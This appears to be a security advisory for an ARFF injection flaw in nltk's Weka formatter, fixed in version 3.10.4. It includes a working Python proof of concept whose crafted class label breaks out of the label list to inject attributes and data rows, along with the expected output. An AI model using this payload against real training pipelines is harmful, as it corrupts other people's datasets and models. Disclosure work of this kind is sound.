Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting nltk package, versions [,3.10.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.43% (29th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22733147
  • published22 Nov 2026
  • disclosed19 Nov 2026
  • creditUnknown

Introduced: 19 Nov 2026

NewCVE-2026-129221  (opens in a new tab)
CWE-74  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') via ARFF_Formatter.header_section() in nltk/classify/weka.py, which writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration using ",".join(self._labels) without any quoting or escaping. An attacker who can supply class labels to a training dataset can embed ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker-controlled ARFF schema and data directives into the generated file. This vulnerability is reachable through WekaClassifier.train() or ARFF_Formatter.from_train() whenever training data contains attacker-influenced labels, and the malformed ARFF is written automatically by the normal training workflow.

PoC

The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.

from nltk.classify.weka import ARFF_Formatter

Attacker‑controlled label containing ARFF metacharacters.

The } closes the label set, the @ATTRIBUTE injects a new attribute,

@DATA starts the data section early, and % comments out the rest.

malicious_label = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"

featuresets = [ ({"f": "benign"}, "legit"), # legitimate example ({"f": "payload"}, malicious_label), # attacker's example ]

NLTK builds the formatter from the training data

formatter = ARFF_Formatter.from_train(featuresets)

Generate the ARFF string – this is what would be written to the training file

arff = formatter.format(featuresets)

Verify that the injection succeeded

assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found" assert "@DATA\n0,owned" in arff, "Injected data row not found"

print("=== Injected ARFF (excerpt) ===") for line in arff.splitlines()[5:12]: print(line)

Expected output:

=== Injected ARFF (excerpt) ===
@ATTRIBUTE 'f' STRING
@ATTRIBUTE '-label-' {legit,safe}
@ATTRIBUTE injected NUMERIC
@DATA
0,owned
%

Explanation of the injection:

· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.

References

· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation

Note: The PoC states it requires only NLTK and does not need Weka to be installed, as the attack is demonstrated purely by generating the ARFF string.

CVSS Base Scores

version 4.0
version 3.1